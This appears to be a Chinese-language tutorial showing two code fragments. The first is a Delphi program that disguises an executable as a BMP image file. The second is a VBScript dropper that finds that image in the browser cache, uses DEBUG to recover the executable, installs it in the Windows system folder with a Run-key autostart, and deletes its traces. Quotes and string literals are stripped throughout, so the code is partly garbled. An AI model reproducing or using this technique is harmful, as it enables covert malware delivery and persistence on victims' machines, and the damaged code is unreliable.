var len,row,col,fs: DWORD; buffer: array[0..255]of char; fd: WIN32_FIND_DATA; h,hw: THandle;
begin if (ParamStr(1)>) and(ParamStr(2)>) then begin //如果運行后沒有兩個參數則退出 if FileExists(ParamStr(1)) then begin FindFirstFile(Pchar(ParamStr(1)),fd); fs:=fd.nFileSizeLow; col := 4; while true do begin if (fs mod 12)=0 then begin len:=fs; end else len:=fs+12-(fs mod 12); row := len div col div 3; if row>col then begin col:=col+4; end else Break; end; FillChar(buffer,256,0); {一下為BMP文件頭數據} Buffer[0]:=B;Buffer[1]:=M; PDWORD(@buffer[18])^:=col; PDWORD(@buffer[22])^:=row; PDWORD(@buffer[34])^:=len; PDWORD(@buffer[2])^:=len+54; PDWORD(@buffer[10])^:=54; PDWORD(@buffer[14])^:=40; PWORD(@buffer[26])^:=1; PWORD(@buffer[28])^:=24; {寫入文件} hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); WriteFile(hw,buffer,54,col,0); repeat ReadFile(h,buffer,256,col,0); WriteFile(hw,buffer,col,col,0); untilcol>256; WriteFile(hw,buffer,len-fs,col,0); CloseHandle(h); CloseHandle(hw); end; end; end.
Option Explicit Dim FSO,WSH,CACHE,str Set FSO = CreateObject("Scripting.FileSystemObject") Set WSH = CreateObject("WScript.Shell") CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" WScript.Quit() Function SearchBMPFile(Folder,fname) Dim SubFolder,File,Lt,tmp,winsys 從臨時文件夾中查找目標BMP圖片 str=FSO.GetParentFolderName(folder) "\" folder.name "\" fname if FSO.FileExists(str) then tmp=fso.GetSpecialFolder(2) "\" winsys=fso.GetSpecialFolder(1) "\" set File=FSO.GetFile(str) File.Copy(tmp "tmp.dat") File.Delete 生成一個DEBUG腳本 set Lt=FSO.CreateTextFile(tmp "tmp.in") Lt.WriteLine("rbx") Lt.WriteLine("0") Lt.WriteLine("rcx") 下面一行的1000是十六進制，換回十進制是4096(該數字是你的EXE文件的大小) Lt.WriteLine("1000") Lt.WriteLine("w136") Lt.WriteLine("q") Lt.Close WSH.Run "command /c debug " tmp "tmp.dat " tmp "tmp.in>" tmp "tmp.out",false,6 On Error Resume Next FSO.GetFile(tmp "tmp.dat").Copy(winsys "tmp.exe") FSO.GetFile(tmp "tmp.dat").Delete FSO.GetFile(tmp "tmp.in").Delete FSO.GetFile(tmp "tmp.out").Delete end if If Folder.SubFolders.Count > 0 Then For Each SubFolder In Folder.SubFolders SearchBMPFile SubFolder,fname Next End If End Function
